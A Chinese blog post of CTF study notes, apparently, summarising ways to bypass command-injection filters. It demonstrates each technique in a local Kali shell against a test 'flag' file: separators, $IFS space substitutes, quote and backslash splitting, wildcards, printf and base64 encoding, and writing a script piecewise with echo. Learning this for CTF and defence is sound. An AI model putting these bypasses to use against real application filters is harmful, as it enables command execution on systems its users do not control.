命令執行漏洞各種繞過方式

2021-10-07 23:12:40 字數 4573 閱讀 7335

空格過濾

黑名單繞過

萬用字元繞過

內斂執行繞過

編碼繞過

繞過長度限制

最後參考文章

剛做了一道題,是有關命令執行漏洞的,裡面過濾的內容比較多,一時間找不到頭緒,所以學習一下關於命令執行漏洞的繞過方式,以便以後遇到不會像現在這樣一點思路都沒有。

總結完再去做就很輕鬆了。

|		直接執行後面的語句

|| 如果前面命令是錯的那麼就執行後面的語句,否則只執行前面的語句

& 前面和後面命令都要執行,無論前面真假

&& 如果前面為假,後面的命令也不執行,如果前面為真則執行兩條命令

以上四種管道符在linux系統中同樣適用,增加一種

;		前面和後面命令都要執行,無論前面真假
zxcv0221@kali:~/桌面$ ping -c 1 m0re;

cat flag

ping: m0re: 沒有與主機名關聯的位址

you are good!

這個比較多了

1.$

zxcv0221@kali:~/桌面$ cat

$flag

you are good!

$ifs$9$9指傳過來的第9個引數

zxcv0221@kali:~/桌面$ cat

$ifs

$9flag

you are good!

zxcv0221@kali:~/桌面$ cat

$ifs

$1flag

you are good!

%09(需要php環境,不演示)

<或者<>重定向

zxcv0221@kali:~/桌面$ cat

you are good!

zxcv0221@kali:~/桌面$ cat<

>flag

you are good!

比如:過濾了cat或者flag

變數拼接

zxcv0221@kali:~/桌面$ a=c;b=at;c=fl;d=ag;

$a$b

$c$d

you are good!

單引號,雙引號繞過

zxcv0221@kali:~/桌面$ ca''t flag

you are good!

zxcv0221@kali:~/桌面$ cat

"" flag

you are good!

編碼繞過

$(printf "\154\163"

) ==>ls

$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"

) ==>cat

/flag

|\$0 ==>cat

/flag

栗子:

zxcv0221@kali:~/桌面$ $(

printf

"\154\163"

)firefox-esr.desktop flag

讀檔案繞過(當cat被過濾)

(1)more:一頁一頁的顯示檔案內容

(2)less:與 more 類似,但是比 more 更好的是,他可以[pg dn]

[pg up]翻頁

(3)head:檢視頭幾行

(4)tac:從最後一行開始顯示,可以看出 tac 是 cat 的反向顯示

(5)tail:檢視尾幾行

(6)nl:顯示的時候,順便輸出行號

(7)od:以二進位制的方式讀取檔案內容

(8)vi:一種編輯器,這個也可以檢視

(9)vim:一種編輯器,這個也可以檢視

(10)sort:可以檢視

(11)uniq:可以檢視

(12)file -f:報錯出具體內容

栗子:

zxcv0221@kali:~/桌面$ more flag

you are good!

反斜線

zxcv0221@kali:~/桌面$ c\at fl\ag

you are good!

$1、$2等和$@
zxcv0221@kali:~/桌面$ c$1at fl$@ag

you are good!

?代表乙個字元*代表一串字元

zxcv0221@kali:~/桌面$ /???/?[a]

[t] ?''?''?''?''

you are good!

zxcv0221@kali:~/桌面$ /???/?[a]

[t] ?''?''?''?''

you are good!

zxcv0221@kali:~/桌面$ /???/?at flag

you are good!

zxcv0221@kali:~/桌面$ /???/?at ????

you are good!

zxcv0221@kali:~/桌面$ /???/?[a]

''[t] ?''?''?''?''

you are good!

我服了,這都可以?長見識666?

*下眾生平等?

`命令`和$(命令)都是執行命令的方式
栗子:

zxcv0221@kali:~/桌面$ echo

"m0re`cat flag`"

m0reyou are good!

zxcv0221@kali:~/桌面$ echo "m0re $(

cat flag)

"m0re you are good!

zxcv0221@kali:~/桌面$ echo "m0re $(

pwd)"

m0re /home/zxcv0221/桌面

使用base64編碼進行繞過

zxcv0221@kali:~/桌面$ `echo

"y2f0igzsywc="

|base64 -d`

you are good!

使用>命令會將原有檔案內容覆蓋,如果是存入不存在的檔名,那麼就會新建檔案再存入

>>符號的作用是將字串新增到檔案內容末尾,不會覆蓋原內容

換行執行命令

zxcv0221@kali:~/桌面$ ca\

可以嘗試寫乙個檔案來執行命令

zxcv0221@kali:~/桌面$ echo

"ca\\">shell

zxcv0221@kali:~/桌面$ echo

"t\\">>shell

zxcv0221@kali:~/桌面$ echo

" fl\\">>shell

zxcv0221@kali:~/桌面$ echo

"ag">>shell

zxcv0221@kali:~/桌面$ cat shell

ca\t\

fl\agzxcv0221@kali:~/桌面$ sh shell

還有一種是使用kali中的乙個工具,名字叫metasploit

學會使用,需要實踐利用,這裡就不演示了,就像我之前寫的提權的那篇文章就用到了metasploit,這個確實是乙個非常強大的工具。我已經愛上這個工具了。

目前這些應該就夠我現階段用的了。

命令執行漏洞利用及繞過方式總結

命令執行漏洞,繞過過濾姿勢

ctf命令執行漏洞繞過方式小結

測試環境 本地 win10 phpstudy8.1 kali2020.2 外網 單位提供的linux靶機 一 命令分隔符 0a 換行符,0d 回車符,連續指令 二 空格 09 ifs 9 三 讀檔案 1 more 一頁一頁的顯示檔案內容 2 less 與 more 類似,但是比 more 更好的是,...

記一次命令執行漏洞的繞過姿勢

在乙個ctf平台上發現了乙個命令執行的題目 題目源 如下 isset request ip show source file 這個 其實很容易就可以看懂,用ip傳參,然後帶入shell exec中執行命令 shell exec 通過shell環境執行命令,並且將完整的輸出以字串的方式返回 他前面用了...

命令執行漏洞

命令執行漏洞 命令執行漏洞是指攻擊者可以隨意執行系統命令。os命令執行漏洞 部分web應用程式提供了一些命令執行的操作。例如,想要測試是否可以正常連線,那麼web應用程式底層就很可能去呼叫系統操作命令,如果此處沒有過濾好使用者輸入的資料,就很有可能形成系統命令執行漏洞 在windows中,的作用是將...